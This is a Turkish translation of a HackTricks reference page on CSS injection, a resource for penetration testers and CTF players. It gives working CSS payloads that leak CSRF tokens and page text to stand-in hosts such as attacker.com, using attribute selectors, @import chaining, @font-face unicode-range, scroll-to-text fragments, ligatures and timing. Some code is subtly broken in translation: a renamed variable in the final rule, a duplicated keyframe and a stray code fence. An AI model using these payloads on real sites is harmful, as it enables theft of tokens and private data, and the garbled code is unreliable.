.. | ||
css-injection-code.md | ||
README.md |
CSS Enjeksiyonu
AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'ı takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.
CSS Enjeksiyonu
Öznitelik Seçici
CSS seçicileri, bir input
elementinin name
ve value
özniteliklerinin değerlerini eşleştirmek için oluşturulur. Eğer input elementinin value özniteliği belirli bir karakterle başlarsa, önceden tanımlanmış bir harici kaynak yüklenir:
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
Ancak, bu yaklaşım gizli giriş elemanlarıyla (type="hidden"
) uğraşırken bir sınırlamayla karşılaşır çünkü gizli elemanlar arka planları yüklemez.
Gizli Elemanlar İçin Atlama
Bu sınırlamayı aşmak için, ~
genel kardeş birleştiricisini kullanarak bir sonraki kardeş elemana hedef alabilirsiniz. CSS kuralı, gizli giriş elemanını takip eden tüm kardeşlere uygulanır ve arka plan resmi yüklenir:
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
CSS Enjeksiyonu tekniğini sömürmenin pratik bir örneği, sağlanan kod parçacığında detaylı bir şekilde açıklanmıştır. Buradan görüntüleyebilirsiniz.
CSS Enjeksiyonu için Önkoşullar
CSS Enjeksiyonu tekniğinin etkili olabilmesi için belirli koşulların sağlanması gerekmektedir:
- Payload Uzunluğu: CSS enjeksiyon vektörü, oluşturulan seçicileri barındıracak kadar uzun payloadları desteklemelidir.
- CSS Yeniden Değerlendirme: CSS'nin yeni oluşturulan payloadlarla yeniden değerlendirilmesini tetiklemek için sayfayı çerçevelemek için yeteneğe sahip olmanız gerekmektedir.
- Harici Kaynaklar: Teknik, harici barındırılan görüntüleri kullanma yeteneğini varsayar. Bu, sitenin İçerik Güvenlik Politikası (CSP) tarafından kısıtlanabilir.
Kör Öznitelik Seçici
Bu yazıda açıklandığı gibi, :has
ve :not
seçicilerini birleştirerek kör öğelerden bile içeriği tanımlamak mümkündür. Bu, CSS enjeksiyonu yapan web sayfasının içinde ne olduğunu hiç bilmediğiniz durumlarda çok kullanışlıdır.
Ayrıca, bu seçicileri aynı türden birkaç bloktan bilgi çıkarmak için de kullanabilirsiniz, örneğin:
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background:url(/m);
}
</style>
<input name=mytoken value=1337>
<input name=myname value=gareth>
Bu, aşağıdaki @import tekniği ile birleştirildiğinde, kördüğüm sayfalardan CSS enjeksiyonu kullanarak bilgi sızdırmak mümkündür. blind-css-exfiltration.
@import
Önceki teknik bazı dezavantajlara sahiptir, önkoşulları kontrol edin. Ya kurban'a birden fazla bağlantı gönderebilmelisiniz, ya da CSS enjeksiyonu açığı olan sayfayı iframe'leyebilmelisiniz.
Ancak, teknik kalitesini artırmak için CSS @import
kullanan başka bir akıllı teknik vardır.
Bu ilk olarak Pepe Vila tarafından gösterildi ve şu şekilde çalışır:
Önceki gibi aynı sayfayı defalarca farklı yüklerle yüklemek yerine (öncekine benzer şekilde), sayfayı sadece bir kez ve sadece saldırganın sunucusuna bir import ile yükleyeceğiz (bu, kurban'a gönderilecek yük).
@import url('//attacker.com:5001/start?');
- İmport, saldırganlardan bazı CSS betiklerini alacak ve tarayıcı bunu yükleyecek.
- Saldırganın göndereceği CSS betiğinin ilk kısmı, saldırganın sunucusuna başka bir
@import
isteği olacak. - Henüz saldırganın sunucusu bu isteği yanıtlamayacak, çünkü bazı karakterleri sızdırmak ve ardından bu import isteğine sızdırmak için yanıt vereceğiz.
- Payload'ın ikinci ve daha büyük kısmı, bir öznitelik seçici sızıntı payloadu olacak.
- Bu, saldırganın sunucusuna gizemin ilk karakterini ve son karakterini gönderecek.
- Saldırganın sunucusu, gizemin ilk ve son karakterini aldığında, adım 2'de istenen import isteğini yanıtlayacak.
- Yanıt, adımlar 2, 3 ve 4 ile tamamen aynı olacak, ancak bu sefer gizemin ikinci karakterini ve ardından sondan bir öncekini bulmaya çalışacak.
Saldırgan, gizemi tamamen sızdırmayı başarana kadar bu döngüyü takip edecektir.
Orijinal Pepe Vila'nın bu açığı sömürmek için yazdığı kodu burada bulabilirsiniz veya neredeyse aynı olan ancak yorumlanmış kodu burada bulabilirsiniz.
{% hint style="info" %} Betik, her seferinde 2 karakter keşfetmeye çalışacak (baştan ve sondan) çünkü öznitelik seçici, şunları yapmaya izin verir:
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
Bu, betiğin sırrı daha hızlı sızdırmasına izin verir. {% endhint %}
{% hint style="warning" %}
Bazen betik, keşfedilen önek + sonek'in zaten tam bayrak olduğunu doğru bir şekilde tespit etmez ve ileri (önek) ve geri (sonek) doğru devam eder ve bir noktada takılır.
Endişelenmeyin, sadece çıktıyı kontrol edin çünkü bayrağı orada görebilirsiniz.
{% endhint %}
Diğer seçiciler
CSS seçicileri ile DOM parçalarına erişmenin diğer yolları:
.class-to-search:nth-child(2)
: Bu, DOM'da "class-to-search" sınıfına sahip ikinci öğeyi arar.:empty
seçici: Örneğin bu yazıda** kullanılır:**
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
Hata tabanlı XS-Search
Referans: CSS tabanlı Saldırı: @font-face'in unicode-range'ini kötüye kullanma, Hata Tabanlı XS-Search PoC by @terjanq
Genel amaç, kontrollü bir uç noktadan özel bir yazı tipi kullanmak ve belirtilen kaynak (favicon.ico
) yüklenemezse, metnin (bu durumda 'A') yalnızca bu yazı tipiyle görüntülenmesini sağlamaktır.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
- Özel Yazı Tipi Kullanımı:
- Özel bir yazı tipi,
<head>
bölümündeki<style>
etiketi içinde@font-face
kuralı kullanılarak tanımlanır. - Yazı tipi
poc
olarak adlandırılır ve dış bir kaynaktan (http://attacker.com/?leak
) alınır. unicode-range
özelliği, belirli bir Unicode karakteri olan 'A' hedef alacak şekildeU+0041
olarak ayarlanır.
- Yedek Metinli Nesne Öğesi:
<body>
bölümündeid="poc0"
olan bir<object>
öğesi oluşturulur. Bu öğe,http://192.168.0.1/favicon.ico
adresinden bir kaynağı yüklemeye çalışır.- Bu öğenin
font-family
özelliği,<style>
bölümünde tanımlanan'poc'
olarak ayarlanır. - Kaynak (
favicon.ico
) yüklenemezse,<object>
etiketi içindeki yedek içerik (harf 'A') görüntülenir. - Dış kaynak yüklenemezse, yedek içerik ('A') özel
poc
yazı tipi kullanılarak render edilir.
Metin Parçasına Kaydırma Stili
:target
yalancı-sınıfı, CSS Seçicileri 4. Düzey belirtiminde belirtildiği gibi, bir URL parçası tarafından hedeflenen bir öğeyi seçmek için kullanılır. ::target-text
'in, metin açıkça parça tarafından hedeflenmediği sürece hiçbir öğeyle eşleşmediğini anlamak önemlidir.
Güvenlik endişesi, saldırganların HTML enjeksiyonu aracılığıyla kendi sunucularından bir kaynağı yükleyerek web sayfasında belirli bir metnin varlığını doğrulamalarına izin veren Metin Parçasına Kaydırma özelliğini istismar etmeleri durumunda ortaya çıkar. Bu yöntem, aşağıdaki gibi bir CSS kuralının enjekte edilmesini içerir:
:target::before { content : url(target.png) }
Bu tür senaryolarda, sayfada "Yönetici" metni bulunuyorsa, sunucudan target.png
kaynağı istenir ve metnin varlığını gösterir. Bu saldırının bir örneği, enjekte edilmiş CSS'yi yanında bir Scroll-to-text parçasıyla gömmüş özel olarak oluşturulmuş bir URL aracılığıyla gerçekleştirilebilir:
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
İşte, saldırı HTML enjeksiyonunu manipüle ederek CSS kodunu iletiyor ve Scroll-to-text parçası (#:~:text=Administrator
) aracılığıyla belirli metin "Yönetici" hedefleniyor. Metin bulunursa, belirtilen kaynak yüklenir ve yanlışlıkla varlığı saldırgan tarafından sinyal verilir.
Azaltma için aşağıdaki noktalara dikkat edilmelidir:
- Kısıtlı STTF Eşleştirme: Scroll-to-text Fragment (STTF) yalnızca kelimeleri veya cümleleri eşleştirmek üzere tasarlanmıştır, bu da keyfi sırları veya belirteçleri sızdırma yeteneğini sınırlar.
- Üst Düzey Göz Atma Bağlamlarına Kısıtlama: STTF yalnızca üst düzey göz atma bağlamlarında çalışır ve iframe'ler içinde çalışmaz, bu da herhangi bir sömürü girişiminin kullanıcı tarafından daha fark edilebilir olmasını sağlar.
- Kullanıcı Etkinleştirmesinin Gerekliliği: STTF, çalışmak için bir kullanıcı etkinleştirme hareketi gerektirir, bu da sömürülerin yalnızca kullanıcı tarafından başlatılan gezinmeler aracılığıyla mümkün olduğu anlamına gelir. Bu gereklilik, saldırıların kullanıcı etkileşimi olmadan otomatikleştirilmesi riskini önemli ölçüde azaltır. Bununla birlikte, blog yazısının yazarı, saldırının otomatikleştirilmesini kolaylaştırabilecek belirli koşullar ve bypass'lar (örneğin, sosyal mühendislik, yaygın tarayıcı uzantılarıyla etkileşim) olduğunu belirtmektedir.
Bu mekanizmaların ve potansiyel güvenlik açıklarının farkında olmak, web güvenliğini korumak ve böyle sömürücü taktiklere karşı korunmak için önemlidir.
Daha fazla bilgi için orijinal raporu kontrol edin: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Bu teknik için bir CTF'de kullanılan bir sömürüyü buradan kontrol edebilirsiniz.
@font-face / unicode-range
Sayfada yalnızca belirli unicode değerleri mevcutsa toplanacak olan belirli unicode değerleri için harici yazı tipleri belirtebilirsiniz. Örneğin:
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
Bu sayfaya eriştiğinizde, Chrome ve Firefox "A" ve "B" karakterlerini içeren hassas bilgi metin düğümünü alır. Ancak Chrome ve Firefox "C" içermediği için "?C" alınmaz. Bu, "A" ve "B" yi okuyabildiğimizi gösterir.
Metin düğümü sızdırma (I): ligatürler
Referans: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Açıklanan teknik, yazı tipi ligatürlerini sömürerek bir düğümden metin çıkarmayı ve genişlik değişikliklerini izlemeyi içerir. Süreç birkaç adımdan oluşur:
- Özel Yazı Tiplerinin Oluşturulması:
- SVG yazı tipleri, iki karakter dizisini temsil eden bir glif için geniş bir genişlik belirleyen
horiz-adv-x
özniteliğine sahip gliflerle oluşturulur. - Örnek SVG glif:
<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, burada "XY" bir iki karakter dizisini temsil eder. - Bu yazı tipleri daha sonra fontforge kullanılarak woff formatına dönüştürülür.
- Genişlik Değişikliklerinin Tespiti:
- Metnin kaymamasını sağlamak için CSS kullanılır (
white-space: nowrap
) ve kaydırma çubuğu stilini özelleştirmek için. - Yatay bir kaydırma çubuğunun belirgin bir şekilde stilize edilmesi, belirli bir ligatürün ve dolayısıyla belirli bir karakter dizisinin metinde bulunduğunu gösteren bir gösterge (oracle) olarak işlev görür.
- İlgili CSS:
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
- Sömürü Süreci:
- Adım 1: Geniş bir genişliğe sahip karakter çiftleri için yazı tipleri oluşturulur.
- Adım 2: Büyük genişlikli glifin (karakter çifti için ligatür) render edildiğini tespit etmek için bir kaydırma çubuğu tabanlı bir hile kullanılır, bu da karakter dizisinin varlığını gösterir.
- Adım 3: Bir ligatür tespit edildiğinde, tespit edilen çifti içeren ve bir önceki veya bir sonraki karakteri ekleyen üç karakter dizisini temsil eden yeni glifler oluşturulur.
- Adım 4: Üç karakterli ligatürün tespiti gerçekleştirilir.
- Adım 5: Süreç tekrarlanır, tüm metin aşamalı olarak ortaya çıkar.
- Optimizasyon:
- Mevcut
<meta refresh=...
ile başlatma yöntemi en iyisi değildir. - Daha verimli bir yaklaşım, sömürünün performansını artıran CSS
@import
hilesini içerebilir.
Metin düğümü sızdırma (II): varsayılan bir yazı tipiyle karakter kümesi sızdırma (harici varlıklar gerektirmez)
Referans: PoC using Comic Sans by @Cgvwzq & @Terjanq
Bu hile, bu Slackers thread sayfasında yayınlandı. Bir metin düğümünde kullanılan karakter kümesi, tarayıcıya yüklenen varsayılan yazı tipleri kullanılarak sızdırılabilir: harici veya özel yazı tiplerine ihtiyaç yoktur.
Kavram, bir div
'in genişliğini aşamalı olarak genişletmek için bir animasyon kullanmayı içerir, böylece bir seferde bir karakterin 'sonek' kısmından 'önek' kısmına geçmesine izin verir. Bu süreç metni iki bölüme ayırır:
- Önek: İlk satır.
- Sonek: Sonraki satır(lar).
Karakterlerin geçiş aşamaları aşağıdaki gibi görünecektir:
C
ADB
CA
DB
CAD
B
CADB
Bu geçiş sırasında, unicode-range hilesi her yeni karakterin öne katılmasını belirlemek için kullanılır. Bu, yazı tipinin Comic Sans olarak değiştirilerek gerçekleştirilir, bu yazı tipi varsayılan yazı tipinden daha uzundur, bu da dikey bir kaydırma çubuğunu tetikler. Bu kaydırma çubuğunun görünümü, önek kısmında yeni bir karakterin varlığını dolaylı olarak ortaya çıkarır.
Bu yöntem, karakterlerin ortaya çıktığı gibi benzersiz karakterlerin tespitine olanak sağlar, ancak tekrarlanan hangi karakterin olduğunu belirtmez, yalnızca bir tekrarın gerçekleştiğini gösterir.
{% hint style="info" %}
Temel olarak, unicode-range bir karakteri tespit etmek için kullanılır, ancak harici bir yazı tipi yüklemek istemediğimiz için başka bir yol bulmamız gerekiyor.
Karakter bulunduğunda, önceden yüklenmiş Comic Sans yazı tipi verilir, bu da karakteri büyütür ve bir kaydırma çubuğu tetikler, bu da bulunan karakteri sızdırır.
{% endhint %}
PoC'dan çıkarılan kodu kontrol edin:
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
```css
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* yan kanal */
div::-webkit-scrollbar:vertical {
background: blue var(--sızıntı);
}
Metin düğümü sızdırma (III): varsayılan bir yazı tipiyle öğeleri gizleyerek karakter kümesini sızdırma (harici varlıklar gerektirmez)
Referans: Bu, bu yazıda başarısız bir çözüm olarak belirtilmiştir
Bu durum, öncekine çok benzer, ancak burada belirli karakterlerin diğerlerinden daha büyük olmasının amacı, bir düğmeye bot tarafından basılmaması veya yüklenmeyen bir resim gibi bir şeyi gizlemektir. Bu nedenle, eylemi (veya eylemin eksikliğini) ölçebilir ve metin içinde belirli bir karakterin var olup olmadığını bilebiliriz.
Metin düğümü sızdırma (III): önbellek zamanlamasıyla karakter kümesini sızdırma (harici varlıklar gerektirmez)
Referans: Bu, bu yazıda başarısız bir çözüm olarak belirtilmiştir
Bu durumda, aynı kaynaktan sahte bir yazı tipi yükleyerek metinde bir karakterin olup olmadığını sızdırmayı deneyebiliriz.
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
Eşleşme varsa, font /static/bootstrap.min.css?q=1
yüklenir. Başarılı bir şekilde yüklenmese de, tarayıcı bunu önbelleğe almalıdır, ve eğer bir önbellek yoksa, 304 not modified mekanizması vardır, bu yüzden yanıt diğer şeylere göre daha hızlı olmalıdır.
Ancak, önbelleğe alınmış yanıt ile önbelleğe alınmamış yanıt arasındaki zaman farkı yeterince büyük değilse, bu işe yaramaz. Örneğin, yazar şunu belirtti: Ancak, testlerden sonra, ilk sorunun hızın çok farklı olmaması olduğunu ve ikinci sorunun botun disk-cache-size=1
bayrağını kullandığını, bu gerçekten düşünceli olduğunu buldum.
Metin düğümü sızdırma (III): yüzlerce yerel "font"ın (harici varlıklar gerektirmeyen) zamanlama yüklemesiyle karakter kümesini sızdırmak
Referans: Bu, bu yazıda başarısız bir çözüm olarak belirtilmiştir
Bu durumda, bir eşleşme gerçekleştiğinde, aynı kaynaktan yüzlerce sahte fontun CSS tarafından yüklenmesini belirtebilirsiniz. Bu şekilde, bir karakterin görünüp görünmediğini ölçebilirsiniz ve bunu şu şekilde bulabilirsiniz:
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Ve botun kodu şu şekildedir:
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Eğer yazı tipi eşleşmiyorsa, botu ziyaret ettiğinizde yanıt süresinin yaklaşık olarak 30 saniye olması beklenir. Ancak, yazı tipi eşleşmesi varsa, yazı tipini almak için birden fazla istek gönderilir ve ağ sürekli olarak aktif olur. Sonuç olarak, durdurma koşulunu karşılamak ve yanıtı almak daha uzun sürebilir. Bu nedenle, yanıt süresi, yazı tipi eşleşmesinin olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.
Referanslar
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
AWS hackleme konusunda sıfırdan kahraman olmak için htARTE (HackTricks AWS Red Team Expert)'ı öğrenin!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek için ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- Özel NFT'lerden oluşan koleksiyonumuz The PEASS Family'i keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking hilelerinizi HackTricks ve HackTricks Cloud github reposuna PR göndererek paylaşın.